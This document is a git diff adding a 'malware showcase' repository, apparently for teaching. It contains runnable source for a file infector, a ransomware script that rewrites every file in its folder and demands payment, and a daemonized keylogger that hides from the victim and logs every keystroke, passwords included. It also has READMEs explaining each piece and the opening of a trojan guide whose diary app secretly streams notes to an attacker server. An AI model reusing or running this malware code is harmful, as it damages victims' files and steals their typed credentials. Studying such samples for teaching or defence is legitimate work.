+ code_injector = FileInfector('SimpleFileInfector')
+
+ # Infect all files in the same folder.
+ path = os.path.dirname(os.path.abspath(__file__))
+ number_infected_files = code_injector.infect_files_in_folder(path)
+
+ logging.info('Number of infected files: {}'.format(number_infected_files))
diff --git a/Malwares/malware_showcase/file_infection/target_file.ext b/Malwares/malware_showcase/file_infection/target_file.ext
new file mode 100644
index 0000000..8311d5a
--- /dev/null
+++ b/Malwares/malware_showcase/file_infection/target_file.ext
@@ -0,0 +1 @@
+Just a normal file.
diff --git a/Malwares/malware_showcase/file_infection/target_folder/target_file_2.ext b/Malwares/malware_showcase/file_infection/target_folder/target_file_2.ext
new file mode 100644
index 0000000..4ba472a
--- /dev/null
+++ b/Malwares/malware_showcase/file_infection/target_folder/target_file_2.ext
@@ -0,0 +1 @@
+Just a second normal file.
diff --git a/Malwares/malware_showcase/logo.svg b/Malwares/malware_showcase/logo.svg
new file mode 100644
index 0000000..9b6c06f
--- /dev/null
+++ b/Malwares/malware_showcase/logo.svg
@@ -0,0 +1,150 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ version="1.0"
+ width="1013.000000pt"
+ height="227.000000pt"
+ viewBox="0 0 1013.000000 227.000000"
+ preserveAspectRatio="xMidYMid meet"
+ id="svg3767"
+ sodipodi:docname="Logo.svg"
+ inkscape:version="0.92.4 (5da689c313, 2019-01-14)">
+ <defs
+ id="defs3771" />
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1017"
+ id="namedview3769"
+ showgrid="false"
+ inkscape:zoom="0.92402034"
+ inkscape:cx="738.31322"
+ inkscape:cy="160.03369"
+ inkscape:window-x="1912"
+ inkscape:window-y="-8"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="svg3767" />
+ <metadata
+ id="metadata3743">
+Created by potrace 1.15, written by Peter Selinger 2001-2017
+<rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+</rdf:RDF>
+</metadata>
+ <g
+ transform="translate(0.000000,227.000000) scale(0.100000,-0.100000)"
+ fill="#000000"
+ stroke="none"
+ id="g3765"
+ style="fill:#000000">
+ <path
+ d="M60 1130 l0 -1080 4995 0 4995 0 0 1080 0 1080 -4995 0 -4995 0 0 -1080z m2040 -20 l0 -900 -375 0 -375 0 0 78 c0 51 -5 84 -14 98 -11 15 -16 58 -18 152 -3 129 -3 132 18 132 41 0 198 51 264 86 167 87 290 241 335 419 22 87 19 234 -6 325 -79 288 -339 480 -649 480 -175 0 -320 -54 -458 -170 -83 -70 -131 -133 -176 -232 -42 -92 -56 -156 -56 -263 0 -114 14 -174 65 -280 92 -190 266 -321 475 -357 l68 -12 7 -132 c5 -89 3 -138 -4 -152 -6 -11 -11 -55 -11 -96 l0 -76 -455 0 -455 0 0 900 0 900 910 0 910 0 0 -900z m1910 0 l0 -900 -900 0 -900 0 0 900 0 900 900 0 900 0 0 -900z m1900 0 l0 -900 -910 0 -910 0 0 900 0 900 910 0 910 0 0 -900z m1910 0 l0 -900 -910 0 -910 0 0 900 0 900 910 0 910 0 0 -900z m817 889 c-79 -11 -144 -42 -159 -74 -6 -14 -23 -28 -37 -31 -124 -28 -126 -29 -129 -57 -3 -25 2 -30 55 -54 32 -14 60 -28 62 -30 3 -2 -4 -20 -14 -41 -82 -169 -48 -362 87 -494 56 -54 152 -104 221 -114 37 -5 47 -10 47 -25 0 -25 1 -25 -105 13 -50 17 -98 29 -106 26 -8 -3 -24 -33 -34 -67 -10 -34 -19 -61 -20 -61 -2 0 -165 56 -202 70 -21 8 -30 16 -26 26 7 20 -23 63 -53 74 -24 9 -24 11 -24 135 l0 125 -25 0 c-20 0 -25 -5 -25 -25 0 -16 -6 -25 -16 -25 -12 0 -15 -7 -12 -25 4 -17 1 -25 -8 -25 -8 0 -14 -11 -14 -25 0 -20 5 -25 25 -25 23 0 25 -3 25 -50 0 -39 -4 -52 -17 -57 -31 -10 -63 -46 -63 -68 0 -22 32 -58 63 -68 25 -9 21 -21 -18 -51 -70 -54 -31 -156 60 -156 39 0 84 27 91 55 8 32 -12 80 -42 104 -31 24 -30 37 4 53 24 12 38 10 142 -28 112 -40 115 -42 113 -69 -1 -16 2 -34 7 -41 6 -6 51 -26 100 -44 l90 -32 0 -98 0 -98 -121 -191 c-70 -111 -118 -198 -115 -206 5 -13 -31 -15 -259 -15 l-265 0 0 900 0 900 388 -1 c254 -1 367 -4 329 -10z m1193 -889 l0 -900 -667 0 -667 0 30 33 c17 17 79 95 139 172 59 77 111 143 114 148 4 4 70 -71 147 -168 76 -96 145 -175 152 -175 7 0 15 6 18 14 5 13 -91 207 -173 349 -31 54 -33 64 -33 150 l0 93 93 30 c96 32 98 34 86 87 -3 16 16 26 121 63 l125 43 23 -23 24 -23 -86 -69 c-54 -44 -85 -76 -86 -89 0 -38 255 -177 296 -161 6 2 16 39 23 83 6 43 16 96 22 118 7 30 6 54 -5 95 -9 34 -11 59 -5 65 5 5 9 17 9 27 0 10 16 32 35 49 19 17 35 39 35 49 0 10 6 33 14 51 19 46 41 218 29 230 -9 9 -352 -17 -362 -27 -3 -2 14 -67 37 -143 l42 -138 -32 -34 c-25 -27 -59 -44 -143 -74 -60 -21 -115 -40 -121 -42 -7 -3 -19 19 -29 49 -10 29 -21 57 -25 62 -5 4 -44 -4 -87 -18 -95 -31 -123 -33 -123 -7 0 15 10 20 48 25 150 21 296 157 337 312 37 141 5 271 -95 394 -35 43 -36 47 -22 68 33 50 -30 101 -149 121 -36 6 108 9 429 10 l482 1 0 -900z m-8386 742 c318 -115 473 -458 344 -761 -29 -69 -102 -164 -160 -211 -109 -87 -209 -121 -349 -121 -168 0 -302 54 -419 171 -120 119 -170 236 -170 398 0 259 160 468 410 537 81 22 266 15 344 -13z m7628 -67 c34 -37 70 -105 84 -157 49 -187 -40 -379 -216 -462 -58 -28 -75 -31 -155 -31 -80 0 -97 3 -155 31 -176 85 -267 283 -214 465 9 30 23 66 32 81 15 26 17 26 50 12 19 -8 38 -14 43 -14 5 0 23 21 40 48 l32 47 158 0 c87 0 155 -3 151 -6 -115 -92 -130 -109 -98 -109 11 0 11 -7 -1 -42 -41 -119 38 -259 114 -202 77 58 65 243 -18 278 l-31 13 41 29 c22 16 39 34 36 41 -2 6 8 16 23 21 28 10 44 2 84 -43z m-130 -125 c37 -73 10 -195 -42 -195 -61 0 -80 155 -27 223 18 22 51 9 69 -28z"
+ id="path3745"
+ style="fill:#000000" />
+ <path
+ d="M2712 1800 c-29 -4 -56 -11 -59 -14 -4 -3 1 -22 10 -41 11 -24 13 -35 5 -35 -24 0 -103 -95 -117 -140 -7 -25 -22 -63 -32 -86 -40 -87 -9 -174 63 -174 112 0 227 45 254 99 7 12 14 18 18 13 3 -5 19 -65 35 -131 27 -114 28 -126 15 -179 -41 -181 -42 -190 -17 -311 15 -72 21 -85 43 -94 14 -6 26 -12 28 -13 1 -1 -25 -79 -58 -175 -33 -95 -60 -184 -60 -196 0 -33 35 -48 57 -26 10 10 45 96 77 191 33 94 63 172 68 172 4 0 6 -6 3 -12 -19 -59 -76 -322 -73 -340 4 -30 52 -38 66 -11 5 10 29 98 53 195 41 167 45 177 64 170 11 -4 63 -7 116 -7 l96 0 43 -175 c23 -96 47 -183 52 -193 6 -12 18 -17 36 -15 40 4 39 32 -8 218 -33 129 -38 165 -28 171 10 7 25 -28 61 -144 83 -262 78 -252 112 -252 45 0 43 28 -20 229 -30 98 -55 182 -55 186 0 5 15 17 34 28 38 23 56 66 56 140 l0 42 76 0 77 0 -6 30 c-4 16 -22 72 -42 125 -62 165 -131 205 -354 205 -96 0 -110 2 -115 18 -3 9 -15 64 -27 122 -20 96 -26 110 -75 175 -41 54 -77 87 -152 138 -149 102 -194 115 -320 97z"
+ id="path3747"
+ style="fill:#000000" />
+ <path
+ d="M4671 1796 l-34 -35 -60 30 c-39 20 -63 27 -69 21 -7 -7 0 -16 18 -28 16 -10 31 -19 33 -21 2 -2 -4 -12 -15 -24 -15 -16 -19 -36 -19 -89 0 -62 -2 -68 -25 -78 -14 -6 -40 -25 -58 -42 -43 -39 -42 -87 1 -108 15 -7 27 -18 27 -23 0 -5 21 -19 48 -30 39 -18 62 -20 137 -16 84 4 192 30 206 49 12 17 70 27 89 16 32 -20 37 -98 9 -132 -5 -6 -33 -40 -62 -76 -28 -36 -60 -74 -70 -85 -47 -53 -76 -94 -97 -135 -12 -25 -27 -48 -31 -51 -5 -3 -15 -31 -21 -62 -14 -64 0 -214 21 -238 7 -8 20 -28 31 -45 16 -27 27 -33 84 -44 36 -7 66 -16 66 -20 0 -6 55 -18 185 -40 28 -5 133 -9 235 -9 220 -1 249 7 263 74 11 54 5 181 -11 197 -17 17 -104 26 -254 27 -170 1 -221 13 -248 55 -11 18 -23 47 -26 63 -5 25 0 34 34 65 38 34 67 82 128 213 16 33 34 66 41 73 23 23 35 86 40 202 6 149 -5 173 -92 206 -51 20 -79 23 -185 23 -69 0 -149 -4 -178 -8 l-52 -7 -10 34 c-5 19 -19 45 -30 57 -18 20 -19 23 -5 35 18 15 20 40 2 40 -7 0 -28 -15 -46 -34z m54 -60 c26 -39 30 -124 8 -166 -22 -43 -56 -51 -76 -18 -21 34 -15 162 8 188 24 26 41 25 60 -4z m-111 -2 c22 -21 30 -57 23 -105 -6 -49 -22 -69 -53 -69 -34 0 -57 50 -52 111 7 73 44 101 82 63z"
+ id="path3749"
+ style="fill:#000000" />
+ <path
+ d="M6750 1824 l-58 -55 -41 20 c-82 42 -127 19 -176 -93 -35 -78 -136 -184 -185 -192 -55 -10 -77 -29 -97 -86 -21 -63 -24 -229 -4 -266 7 -13 18 -55 26 -94 13 -70 13 -72 -11 -107 -30 -45 -31 -96 -3 -156 30 -63 97 -105 168 -105 16 0 47 -17 81 -46 30 -25 71 -54 90 -64 28 -14 41 -32 64 -87 35 -84 81 -128 155 -150 72 -21 190 -13 204 14 6 10 33 40 61 66 49 47 84 68 212 131 32 16 67 33 76 37 10 5 42 9 72 9 122 0 134 12 142 149 8 118 46 235 84 258 38 22 70 97 70 164 0 38 -7 65 -29 103 -16 28 -32 62 -36 75 -4 14 -34 50 -66 81 -50 47 -59 61 -59 90 0 114 -19 133 -160 171 -47 12 -111 35 -144 50 -32 15 -75 31 -96 34 -26 4 -57 23 -95 56 -55 48 -58 49 -121 49 l-65 0 -59 -56z m11 -286 c21 -14 45 -46 64 -83 27 -54 30 -69 30 -155 0 -86 -3 -101 -30 -155 -69 -139 -181 -139 -250 0 -27 54 -30 69 -30 155 0 86 3 101 30 155 33 65 80 105 125 105 15 0 42 -10 61 -22z m400 -20 c21 -14 45 -46 64 -83 27 -54 30 -69 30 -155 0 -86 -3 -101 -30 -155 -69 -139 -181 -139 -250 0 -27 54 -30 69 -30 155 0 86 3 101 30 155 33 65 80 105 125 105 15 0 42 -10 61 -22z"
+ id="path3751"
+ style="fill:#000000" />
+ <path
+ d="M6672 1403 c-20 -8 -52 -79 -52 -117 0 -50 27 -111 56 -126 34 -19 68 2 88 52 20 49 20 87 0 138 -21 52 -51 69 -92 53z"
+ id="path3753"
+ style="fill:#000000" />
+ <path
+ d="M7082 1383 c-20 -8 -52 -79 -52 -115 0 -55 19 -107 47 -125 22 -15 28 -15 51 -2 47 26 65 117 36 189 -20 50 -47 67 -82 53z"
+ id="path3755"
+ style="fill:#000000" />
+ <path
+ d="M1033 1590 c-94 -39 -142 -283 -87 -443 23 -66 81 -127 122 -127 45 0 96 49 123 118 32 82 33 262 1 343 -36 90 -100 134 -159 109z m75 -36 c44 -31 82 -142 82 -240 0 -41 -1 -44 -16 -30 -22 23 -40 20 -63 -10 -36 -45 -23 -131 22 -151 21 -10 21 -11 -10 -41 -35 -36 -58 -40 -91 -16 -102 71 -105 405 -5 484 31 24 51 25 81 4z"
+ id="path3757"
+ style="fill:#000000" />
+ <path
+ d="M1400 1552 c-55 -55 -75 -128 -74 -267 1 -132 24 -205 80 -254 67 -60 128 -29 176 89 18 46 22 74 22 175 0 142 -22 213 -80 264 -47 42 -77 40 -124 -7z m107 -14 c11 -13 27 -36 36 -53 31 -63 52 -224 25 -197 -32 32 -88 -14 -88 -73 0 -35 33 -85 56 -85 8 0 14 -3 14 -6 0 -11 -23 -50 -43 -72 -54 -58 -120 7 -147 146 -40 200 62 433 147 340z"
+ id="path3759"
+ style="fill:#000000" />
+ <path
+ d="M8615 1790 c-3 -5 10 -19 28 -32 l34 -22 -30 -20 c-76 -52 -72 -222 6 -266 24 -13 30 -13 55 0 53 30 76 125 49 204 -15 44 -15 45 3 34 20 -13 36 -6 26 11 -6 9 -152 101 -161 101 -2 0 -7 -4 -10 -10z m107 -130 c50 -98 -22 -251 -77 -166 -34 52 -31 150 6 187 28 28 51 21 71 -21z"
+ id="path3761"
+ style="fill:#000000" />
+ <path
+ d="M8560 1378 c1 -19 82 -77 140 -99 61 -23 121 -24 182 -3 50 17 128 77 128 100 0 22 -26 16 -43 -10 -9 -13 -41 -36 -72 -51 -47 -24 -64 -27 -114 -22 -61 5 -119 30 -169 72 -33 27 -52 32 -52 13z"
+ id="path3763"
+ style="fill:#000000" />
+ </g>
+ <ellipse
+ style="fill:#ffffff;stroke-width:0.75"
+ id="path3773"
+ cx="271.90601"
+ cy="67.288986"
+ rx="3.8047054"
+ ry="6.3411756" />
+ <rect
+ style="fill:#ffffff;stroke-width:0.89568532"
+ id="rect3777"
+ width="10.415026"
+ height="1.2084143"
+ x="234.91187"
+ y="190.07597"
+ ry="0"
+ transform="matrix(0.86614401,-0.49979451,0.32762827,0.94480671,0,0)" />
+ <ellipse
+ style="fill:#000000;stroke-width:0.75"
+ id="path3781"
+ cx="271.75949"
+ cy="67.857841"
+ rx="1.721813"
+ ry="2.887624" />
+ <ellipse
+ style="fill:#000000;stroke-width:0.75"
+ id="path3783"
+ cx="458.31256"
+ cy="61.622143"
+ rx="2.1813645"
+ ry="4.1090817" />
+ <ellipse
+ style="fill:#000000;stroke-width:0.75"
+ id="path3785"
+ cx="469.67816"
+ cy="62.002617"
+ rx="2.6125643"
+ ry="4.9968467" />
+ <ellipse
+ style="fill:#000000;stroke-width:0.75"
+ id="path3787"
+ cx="868.18304"
+ cy="69.840309"
+ rx="2.9423053"
+ ry="4.5656462" />
+ <ellipse
+ style="fill:#000000;stroke-width:0.75"
+ id="path3789"
+ cx="889.79376"
+ cy="69.738853"
+ rx="3.0437644"
+ ry="4.6671052" />
+</svg>
diff --git a/Malwares/malware_showcase/ransomware/README.md b/Malwares/malware_showcase/ransomware/README.md
new file mode 100644
index 0000000..ad05bb1
--- /dev/null
+++ b/Malwares/malware_showcase/ransomware/README.md
@@ -0,0 +1,68 @@
+# Ransomware
+
+Our **ransomware** is implemented in the file `ransomware.py`. It encrypts all files in the same directory and shows a ransom message, requesting financial amount of 0.1 USD for user to obtain the key. Once the user provides the correct key, it decrypts those files, otherwise they would stay encrypted.
+
+#### Demonstration of behavior
+
+Before the execution of **ransomware** observe `target_file.ext`. It is a simple file located in the same directory as out **ransomware**. To see the behavior of **ransomware**, simple execute it in this folder (`./ransomware`). You should see something like this:
+
+```
+DEBUG:root:Encrypting file: malware_showcase/ransomware/target_file.ext
+Hi, all your files has been encrypted. Please send 0.1 USD on this address
+to get a decryption key: XYZ.
+Number of encrypted files: 1
+Please enter a key:
+```
+
+Now do not type anything, just observe `target_file.ext` in the second terminal. You can see that its original content `Just an ordinary text file.` was encoded to `SnVzdCBhbiBvcmRpbmFyeSB0ZXh0IGZpbGUuCg==` (for the more experienced users it is obvious that it is a simple format of **base64**). However, this **ransomware** assumes that the user does not know the basics of cryptography. Now we have two options as the user. We might guess the key, in which case the program ends and our files stay encrypted, or we "send a payment to the bank address XYZ" and obtain the correct key:
+```
+Please enter a key: __ransomware_key
+```
+This triggers a decryption of data and as we can observe, the content of our file is restored.
+
+Creation of basic **ransomware** is very simple process as it is described below and anyone can do it just with basics in programming and understandment of encryption. That's why we should be always cautious when we execute any uncommon or not trusted files.
+
+#### How does it work?
+
+- Firstly, we create our **ransomware** and give it a name. <br>
+ ```python
+ ransomware = Ransomware('SimpleRansomware')
+ ```
+- Then we must **choose a folder** with files we want to encrypt. We call function *encrypt_files_in_folder* that is provided by our **ransomware** and pass the path to the folder as an argument. This function returns the number encrypted files. <br>
+ ```python
+ number_encrypted_files = ransomware.encrypt_files_in_folder(path)
+ ```
+- The first thing that needs to be done is a lookup for all filenames in the same directory (function _get_files_in_folder(path)_). This implementation ignores _README_ files, because **ransomware** would encrypt also this file as well if you run it.
+- Then we can simple encrypt each found file. The process of encryption is described below.
+ ```python
+ for file in files:
+ logging.debug('Encrypting file: {}'.format(file))
+ self.encrypt_file(file)
+ ```
+ - The encryption part is the most important. There are many ways of how to encrypt the files. Usually
+ the encryption key would take a part in encryption as well (with much stronger encryption algorithm), but for demonstration we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained). In this case we load the data from the file, encrypt them to base64 and then write them back to the file.
+ ```python
+ # Load the content of file.
+ with open(filename, 'r') as file:
+ content = file.read()
+ # Encrypt the file content with base64.
+ encrypted_data = base64.b64encode(content.encode('utf-8'))
+ # Rewrite the file with the encoded content.
+ with open(filename, 'w') as file:
+ file.write(encrypted_data.decode('utf-8'))
+ ```
+ - Once all files are encrypted, we can show our ransom message to the user, requesting money for the key.
+ - The decryption part is very similar to encryption. However, in this case we load the key and compare it with our default key `__ransomware_key`. If they are equal, we simply revert the previously done encryption. If the user enters a different key, the program ends and the files stay encrypted.
+ ```python
+ # Obtain a key from the user.
+ key = self.obtain_key()
+ if key != self.key:
+ print('Wrong key!')
+ return
+
+ files = self.get_files_in_folder(path)
+
+ # Decrypt each file in the directory.
+ for file in files:
+ self.decrypt_file(key, file)
+ ```
diff --git a/Malwares/malware_showcase/ransomware/ransomware.py b/Malwares/malware_showcase/ransomware/ransomware.py
new file mode 100755
index 0000000..5a4509a
--- /dev/null
+++ b/Malwares/malware_showcase/ransomware/ransomware.py
@@ -0,0 +1,141 @@
+#!/usr/bin/env python3
+
+""" Implementation of simple ransomware in Python.
+"""
+
+import logging
+import os
+import sys
+import base64
+
+
+class Ransomware:
+ """ This class represents file encrypting ransomware.
+ """
+
+ def __init__(self, name):
+ self._name = name
+
+ @property
+ def name(self):
+ """ Name of the malware. """
+ return self._name
+
+ @name.setter
+ def name(self, new_name):
+ self._name = new_name
+
+ @property
+ def key(self):
+ """ Key used for encryption of data. """
+ return "__ransomware_key"
+
+ def obtain_key(self):
+ """ Obtain key from a user. """
+ return input("Please enter a key: ")
+
+ def ransom_user(self):
+ """ Inform user about encryption of his files. """
+ print(
+ "Hi, all your files has been encrypted. Please "
+ "send 0.1 USD on this address to get decryption"
+ " key: XYZ."
+ )
+
+ def encrypt_file(self, filename):
+ """ Encrypt the given file with AES encryption algoritm.
+ :param str filename: Name of the file.
+ """
+ # Load the content of file.
+ with open(filename, 'r') as file:
+ content = file.read()
+ # Encrypt the file content with base64.
+ encrypted_data = base64.b64encode(content.encode('utf-8'))
+ # Rewrite the file with the encoded content.
+ with open(filename, 'w') as file:
+ file.write(encrypted_data.decode('utf-8'))
+
+ def decrypt_file(self, key, filename):
+ """ Decrypt the given file with AES encryption algoritm.
+ :param str key: Decryption key.
+ :param str filename: Name of the file.
+ """
+ # Load the content of file.
+ with open(filename, 'r') as file:
+ content = file.read()
+ # Decrypt the file content.
+ decrypted_data = base64.b64decode(content)
+ # Rewrite the file with the encoded content.
+ with open(filename, 'w') as file:
+ content = file.write(decrypted_data.decode('utf-8'))
+
+ def get_files_in_folder(self, path):
+ """ Returns a `list` of all files in the folder.
+
+ :param str path: Path to the folder
+ """
+ # List the directory to get all files.
+ files = []
+ for file in os.listdir(path):
+ # For the demostration purposes ignore README.md
+ # from the repository and this file.
+ if file == 'README.md' or file == sys.argv[0]:
+ continue
+
+ file_path = os.path.join(path, file)
+ if os.path.isfile(file_path):
+ files.append(file_path)
+
+ return files
+
+ def encrypt_files_in_folder(self, path):
+ """ Encrypt all files in the given directory specified
+ by path.
+
+ :param str path: Path of the folder to be encrypted.
+ :returns: Number of encrypted files (`int`).
+ """
+ num_encrypted_files = 0
+ files = self.get_files_in_folder(path)
+
+ # Encrypt each file in the directory.
+ for file in files:
+ logging.debug('Encrypting file: {}'.format(file))
+ self.encrypt_file(file)
+ num_encrypted_files += 1
+
+ self.ransom_user()
+
+ return num_encrypted_files
+
+ def decrypt_files_in_folder(self, path):
+ """ Decrypt all files in the given directory specified
+ by path.
+
+ :param str path: Path of the folder to be decrypted.
+ """
+ # Obtain a key from the user.
+ key = self.obtain_key()
+ if key != self.key:
+ print('Wrong key!')
+ return
+
+ files = self.get_files_in_folder(path)
+
+ # Decrypt each file in the directory.
+ for file in files:
+ self.decrypt_file(key, file)
+
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+
+ # Create ransomware.
+ ransomware = Ransomware('SimpleRansomware')
+
+ # Encrypt files located in the same folder as our ransomware.
+ path = os.path.dirname(os.path.abspath(__file__))
+ number_encrypted_files = ransomware.encrypt_files_in_folder(path)
+ print('Number of encrypted files: {}'.format(number_encrypted_files))
+
+ ransomware.decrypt_files_in_folder(path)
diff --git a/Malwares/malware_showcase/ransomware/target_file.ext b/Malwares/malware_showcase/ransomware/target_file.ext
new file mode 100644
index 0000000..bf439ff
--- /dev/null
+++ b/Malwares/malware_showcase/ransomware/target_file.ext
@@ -0,0 +1 @@
+Just an ordinary text file.
diff --git a/Malwares/malware_showcase/requirements.txt b/Malwares/malware_showcase/requirements.txt
new file mode 100644
index 0000000..4257bd9
--- /dev/null
+++ b/Malwares/malware_showcase/requirements.txt
@@ -0,0 +1,6 @@
+scp==0.13.2
+pyxhook==1.0.0
+cached_property==1.5.1
+paramiko==2.4.2
+PySide2==5.13.0
+python_daemon==2.2.3
diff --git a/Malwares/malware_showcase/setup_env.sh b/Malwares/malware_showcase/setup_env.sh
new file mode 100755
index 0000000..9bbb2f3
--- /dev/null
+++ b/Malwares/malware_showcase/setup_env.sh
@@ -0,0 +1,34 @@
+#!/bin/sh
+# This script automates the creation of Python virtual environment.
+
+if [ -d "virtualenv" ]; then
+ echo "Virtual environment 'virtualenv' found, activating it."
+else
+ echo "Virtual environment not found, creating new 'virtualenv'."
+ python3 -m venv virtualenv
+ if [ $? -eq 0 ]; then
+ echo "Virtual environment was successfully created."
+ else
+ echo "Virtual environment was NOT created, aborting."
+ exit 1
+ fi
+fi
+
+source virtualenv/bin/activate
+if [ $? -eq 0 ]; then
+ echo "Virtual environment is successfully activated."
+else
+ echo "Virtual environment was NOT activated, aborting."
+ exit 1
+fi
+
+echo "Installing required packages."
+pip3 install -r requirements.txt
+if [ $? -eq 0 ]; then
+ echo "All requirements were successfully installed."
+else
+ echo "Requirements were NOT installed properly, aborting."
+ exit 1
+fi
+
+echo "Done."
diff --git a/Malwares/malware_showcase/spyware/README.md b/Malwares/malware_showcase/spyware/README.md
new file mode 100644
index 0000000..b4a6dc1
--- /dev/null
+++ b/Malwares/malware_showcase/spyware/README.md
@@ -0,0 +1,64 @@
+# Spyware
+
+There exist many ways of spying on the victim. Our **spyware** is represented by **keylogger**, a simple program that monitors pressed keys on the keyboard and can see everything you type. This **keylogger** is implemented in the file `keylogger.py`.
+
+#### Demonstration of behavior
+
+We don't need any specific preparation before an execution of the keylogger (`./keylogger.py`). We can observe that after the execution nothing happened and we can type new commands, just like in the case of us pressing only the key `Enter`. Now you can do on your system anything you want. For the demonstration you can open a browser and type something like `Passwd` representing your potential password, just like you would do on any login page of your social media.
+
+You can now spot that in the same folder as our **keylogger** is located a new file `activity.log`. By observing the file your can see that it contains all keys you have pressed on your keyboard after the execution, including your password `Passwd`. Attacker can easily access those file and modify the keylogger to send them on specific e-mail address or with a combination with different kind of malware he might gain direct access to them via network.
+
+```
+Key: P
+Key: a
+Key: s
+Key: s
+Key: w
+Key: d
+```
+
+Creation of **keylogger** is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of operating systems. That's why we should be always cautions when we execute any uncommon or not trusted file.
+
+#### How does it work?
+
+ - Firstly, we configure our logger. We can specify the file in which should be the data stored as well as a format of the message.
+ ```python
+ logging.basicConfig(
+ level=logging.DEBUG,
+ filename='activity.log',
+ format='Key: %(message)s',
+ )
+ ```
+ - Then we have to obtain the logging file handler. We will explain why in the next step.
+ ```python
+ handler = logging.getLogger().handlers[0].stream
+ ```
+ - To make our spyware harder to spot by the victim, we want it to run in the background as a **daemon**.
+ To learn more about daemons, see [the guide to daemons](https://kb.iu.edu/d/aiau). For this purpose we
+ will use a standart Python module `daemon` that will allow us to daemonize our **keylogger**.
+ When the the daemon is created, we will loose connections to all file handler like `stdout` or even
+ our logging file unless we specify that the files should be preserved. That's why we have obtained
+ logging file handler in the previous step. In the context of our hidden daemon we can now create the
+ keylogger and start its activity.
+ ```python
+ # Daemonize the process to hide it from the victim.
+ with daemon.DaemonContext(files_preserve=[handler]):
+ # Create keylogger.
+ keylogger = Keylogger('SimpleSpyware')
+ # Start logging activity of the user.
+ keylogger.start_logging()
+ ```
+ - For obtaining the _key press events_ we can use a python module for Linux called `pyxhook`. If we
+ would create a keylogger for Windows, we should use module `pyHook` instead, but their interface is
+ very similar. We create a **hooking manager**, that will manage event handling and allows us to
+ set a callback for those events. Callback is in our case a function that will be called each time a new
+ event is obtained (__keydown_callback_). The only thing this method does is logging the key into our
+ specified file `activity.log`.
+ ```python
+ hook_manager = pyxhook.HookManager()
+ # Assign callback for handling key strokes.
+ hook_manager.KeyDown = self._keydown_callback
+ # Hook the keyboard and start logging.
+ hook_manager.HookKeyboard()
+ hook_manager.start()
+ ```
diff --git a/Malwares/malware_showcase/spyware/keylogger.py b/Malwares/malware_showcase/spyware/keylogger.py
new file mode 100755
index 0000000..6dea370
--- /dev/null
+++ b/Malwares/malware_showcase/spyware/keylogger.py
@@ -0,0 +1,56 @@
+#!/usr/bin/env python3
+
+""" Implementation of simple keylogger in Python.
+"""
+
+import daemon
+import logging
+import pyxhook
+
+
+class Keylogger:
+ """ This class represents the code injecting malware. """
+
+ def __init__(self, name):
+ self._name = name
+
+ @property
+ def name(self):
+ """ Name of the malware. """
+ return self._name
+
+ @name.setter
+ def name(self, new_name):
+ self._name = new_name
+
+ def start_logging(self):
+ """ Log every keystroke of the user into log file. """
+ # Crete hook manager.
+ hook_manager = pyxhook.HookManager()
+ # Assign callback for handling key strokes.
+ hook_manager.KeyDown = self._keydown_callback
+ # Hook the keyboard and start logging.
+ hook_manager.HookKeyboard()
+ hook_manager.start()
+
+ def _keydown_callback(self, key):
+ """ This function is handler of key stroke event. """
+ logging.debug(chr(key.Ascii))
+
+
+if __name__ == '__main__':
+ # Setup logger.
+ logging.basicConfig(
+ level=logging.DEBUG,
+ filename='activity.log',
+ format='Key: %(message)s',
+ )
+ # Get file handler. We need to pass it to our daemon.
+ handler = logging.getLogger().handlers[0].stream
+
+ # Daemonize the process to hide it from the victim.
+ with daemon.DaemonContext(files_preserve=[handler]):
+ # Create keylogger.
+ keylogger = Keylogger('SimpleSpyware')
+ # Start logging activity of the user.
+ keylogger.start_logging()
diff --git a/Malwares/malware_showcase/trojan/README.md b/Malwares/malware_showcase/trojan/README.md
new file mode 100644
index 0000000..b9a4469
--- /dev/null
+++ b/Malwares/malware_showcase/trojan/README.md
@@ -0,0 +1,91 @@
+# Trojan
+
+Our **trojan** is implemented in the file `trojan.py`. It tries to collect data from the victim disquised as a common diary and send them secretly to the server of the attacker. The server is implemented in the file `server.py`. We should be able to see all notes written into the diary without any knowledge of the victim.
+
+#### Demonstration of behavior
+
+The first thing that the attacker must do is to set a server that collects data sent by the victim. That's why we setup a running server on our computer by running `./server.py`. You should see the following text:
+```
+DEBUG:user:Server was successfully initialized.
+```
+In the second console run the **trojan** (diary) as the victim with the command `./trojan.py`. On the attacker's console we should immediately see the following text:
+```
+Connection with trojan established from ('127.0.0.1', 46682)
+```
+That means that our client has made a successful connection to our server. Type a few lines of notes into the diary. We can observe that all notes are being shown to the attacker as well.
+
+##### What does the victim see
+```
+Hello, this is your diary. You can type here your notes:
+Hello diary,
+let me tell you a secret.
+...
+```
+##### What does the attacker see
+```
+DEBUG:user:Server was successfully initialized.
+Connection with trojan established from ('127.0.0.1', 46682)
+INFO:user:b'Hello diary,\n'
+INFO:user:b'let me tell you a secret.\n'
+...
+```
+
+Creation of basic **trojan** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
+
+#### How does it work?
+
+##### Server
+
+- Firstly, we create our **server** that should collect the data obtained from **trojan** executed
+ by the victim. The server will listen on the specific port that must be the same as is specified in our **trojan**.
+ In this example will be both the **server** and **trojan** executed on the same computer, but the
+ **server** might be remote and located anywhere in the world.
+ ```python
+ server = Server(27000)
+ ```
